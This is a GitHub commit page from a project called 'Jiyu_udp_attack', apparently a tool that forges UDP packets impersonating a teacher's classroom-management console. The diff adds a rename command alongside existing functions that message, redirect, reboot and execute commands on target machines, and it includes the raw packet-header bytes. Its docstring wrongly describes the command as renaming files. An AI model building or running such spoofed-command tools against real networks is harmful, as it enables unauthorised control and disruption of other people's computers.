Skip to content

Commit c7f2418

Browse files
committed
feat: Add pkg_rename function to package rename command with identifier
1 parent a3ac3fa commit c7f2418

File tree

2 files changed

+28
-1
lines changed

2 files changed

+28
-1
lines changed

Jiyu_udp_attack/__main__.py

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,9 +10,10 @@
1010
"""
1111

1212
import argparse
13+
from os import name
1314

1415
from sender import broadcast_packet
15-
from packet import pkg_message, pkg_reboot, pkg_website, pkg_execute
16+
from packet import pkg_message, pkg_reboot, pkg_rename, pkg_website, pkg_execute
1617

1718

1819
if __name__ == "__main__":
@@ -83,6 +84,13 @@
8384
metavar="timeout [message]",
8485
help="Reboot the target machine, optionally with a timeout and message",
8586
)
87+
group.add_argument(
88+
"-n",
89+
"--rename",
90+
nargs=2,
91+
metavar=("name", "name_id"),
92+
help="Rename the target machine",
93+
)
8694

8795
args = parser.parse_args()
8896
teacher_ip = args.teacher_ip
@@ -107,6 +115,9 @@
107115
payload = pkg_reboot(timeout=int(timeout), message=message)
108116
case _:
109117
parser.error("Invalid reboot arguments: expected [timeout] or [timeout, message]")
118+
elif args.rename:
119+
name, name_id = args.rename
120+
payload = pkg_rename(name, int(name_id))
110121
else:
111122
raise ValueError("Either message or website must be provided")
112123

Jiyu_udp_attack/packet.py

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -130,3 +130,19 @@ def pkg_reboot(timeout: Optional[int] = None, message: str = "") -> bytes:
130130
)
131131
data = format_data(message, 256)
132132
return head + data + b"\x00" * 258
133+
134+
135+
def pkg_rename(name: str, name_id: int = 0) -> bytes:
136+
"""
137+
Packages a command to rename a file or directory into a specific byte format, including a header.
138+
139+
Args:
140+
name (str): The new name for the file or directory.
141+
name_id (int, optional): An identifier for the name. Defaults to 0.
142+
143+
Returns:
144+
bytes: The packaged rename command as a byte array, including a header and formatted data.
145+
"""
146+
head = b"GCMN\x00\x00\x01\x00D\x00\x00\x00f\xb1\xe4\x92?\x9a6J\x94:=\xa3\xbd\x97`A" + name_id.to_bytes(4, "little")
147+
data = format_data(name + "\x00", 64)
148+
return head + data

0 commit comments

Comments
 (0)